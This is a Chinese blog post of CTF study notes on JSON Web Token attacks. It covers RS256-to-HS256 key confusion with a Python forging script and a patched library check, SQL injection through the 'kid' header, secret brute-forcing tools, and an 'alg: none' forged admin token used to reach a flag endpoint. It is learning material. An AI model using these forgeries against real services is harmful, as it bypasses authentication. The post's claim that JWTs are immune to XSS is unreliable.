jwt学习(json web token)

参考链接:

https://blog.csdn.net/qq_43500877/article/details/90273139?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2

https://www.cnblogs.com/xiaozi/p/12031111.html

jwt是什么:

jwt是一种验证手法,类似于cookie但不同于cookie,最大的不同就是jwt不像cookie那样存在于服务器中,而是存在于本地中,所以不存在xss

jwt格式
使用jwt需要在授权header中写:
Authorization: Bearer <token>

jwt一般由3部分组成:
1.header:JWT和正在使用的散列算法。例如:

{"alg":"HS256","typ":"JWT"}

2.payload:用户定义的数据,例如:

{"secretid":2,"username":"admin1","password":"admin"}

3.signature:签名部分,签名的创建必须是要采用header,payload,密钥,利用header中的算法进行签名
然后将这三者用"."连接起来,并进行base64编码形成t=一个完整的jwt,例如:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MiwidXNlcm5hbWUiOiJhZG1pbjEiLCJwYXNzd29yZCI6ImFkbWluIiwiaWF0IjoxNTg3MjYwOTIxfQ.-PGIVfwBn8isl2nb3zuQva3wu5nA7nfmTz0O53X_D2E

对于这类jwt的攻击,有

算法修改:

若拿到了公钥,就能对jwt进行解密
假如公钥模数极大,不能被分解,而我们又没有私钥可以尝试把RS256改为HS256,即把非对称加密改为对称加密,对称加密只有一个key。
这里有几道例题:(由于无法复现,所以这里只是学习记录一下)
1.第一种,属于RS256,一直公钥或者通过一些途径可以获得公钥,那么利用公钥伪造jwt,这里的题是私钥加密,公钥解密,有函数如下:

function getpubkey(){
    /* 
    get the pubkey for test
    /pubkey/{hash}
    */
}

提示:/pubkey/md5(username+password)
访问此url可得到公钥,对公钥进行解析,发现无法分离,所以这里考虑把非对称加密变为对称加密(把RS256变为HS256),使得只需要知道公钥就可以对jwt进行修改和解密
(当然这里需要后端代码的配合)

构造脚本如下:

import jwt
import base64
public = open('1.txt', 'r').read()
print jwt.encode({"name": "adminsky","priv": "admin"}, key=public, algorithm='HS256')

直接运行这段代码会报错,追溯到库的源码

def prepare_key(self, key):
        key = force_bytes(key)

        invalid_strings = [
            b'-----BEGIN PUBLIC KEY-----',
            b'-----BEGIN CERTIFICATE-----',
            b'-----BEGIN RSA PUBLIC KEY-----',
            b'ssh-rsa'
        ]

        if any([string_value in key for string_value in invalid_strings]):
            raise InvalidKeyError(
                'The specified key is an asymmetric key or x509 certificate and'
                ' should not be used as an HMAC secret.')

        return key

prepare_key会判断是否有非法字符,简单粗暴的注释掉

def prepare_key(self, key):
key = force_bytes(key)
return key

保存后再运行得到新jwt

第二种:密钥可控

据说是一道国赛的题目:

eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiI4MjAxIn0.eyJuYW1lIjoiYWRtaW4yMzMzIn0.aC0DlfB3pbeIqAQ18PaaTOPA5PSipJe651w7E0BZZRI
header头:
{
    "typ":"JWT",
    "alg":"sha256",
    "kid":"8201"
}

其中kid为密钥key的编号id
逻辑类似为:

sql="select * from table where kid=$kid"

这里可以进行sql注入:kid = 0 union select 12345
这样我们就控制了key,那么就可伪造jwt

还有一道也是密钥可控:
{
“kid”:“keys/3c3c2ea1c3f113f649dc9389dd71b851”,
“typ”:“JWT”,
“alg”:“RS256”
}
题目有个功能是写东西保存到本地(在这里就是服务器)
所以可以自己写公钥保存到服务器,然后用相应的私钥去篡改(讲真这么不是很看得懂)

第三种:密钥爆破

HS签名算法中,只有一个密钥,那么就可能出现弱口令,爆破工具:

c-jwt-cracker-master(基于c的爆破)
jwt_tool-master(基于python,需要字典)
和一个解密网站:
https://jwt.io/

第四种,在虎符ctf中遇到的jwt,比赛中没做出来,来学习一下
比赛的时候知道需要用admin的jwt来登录,但是奈何死都不知道公钥,也没法爆破,所以就卡在了那里。
谁曾想,竟是个任意文件读取
通过:

view-source:http://4d66305b-974d-49d3-ac15-a09ea69157b6.node3.buuoj.cn/static/js/app.js

知道出题人把路径设置为了根目录,而NodeJS 应用常见主文件 app.js
所以直接读取app.js

view-source:http://4d66305b-974d-49d3-ac15-a09ea69157b6.node3.buuoj.cn/app.js

由于nodejs的require(./test)—》相当于require(./test.js)
所以得到存在着三个目录,rest.js,controller.js,views.js
从rest.js和controller.js中读出还存在着:controllers目录,在这个文件下还存在着接口文件api.js
从api.js中读到得到flag的接口

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

同时还有jwt的令牌生成代码
实话,这题,这分析源码我是分析不出来,引用大佬的结论吧

当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照none 来验证通过,这样很轻松地就可以伪造一个 username 为 admin 的 jwttoken 了。

所以我们只需要生成一个 secretid 为空数组的令牌,username 设置为 admin,加密方式为 none,即可绕过验证,使得最后登录时验证的用户名为 admin。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU4NzMwMjYxN30.

所以带着这个jwt去访问/api/flag即可
参考自大佬:

https://www.zhaoj.in/read-6512.html

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值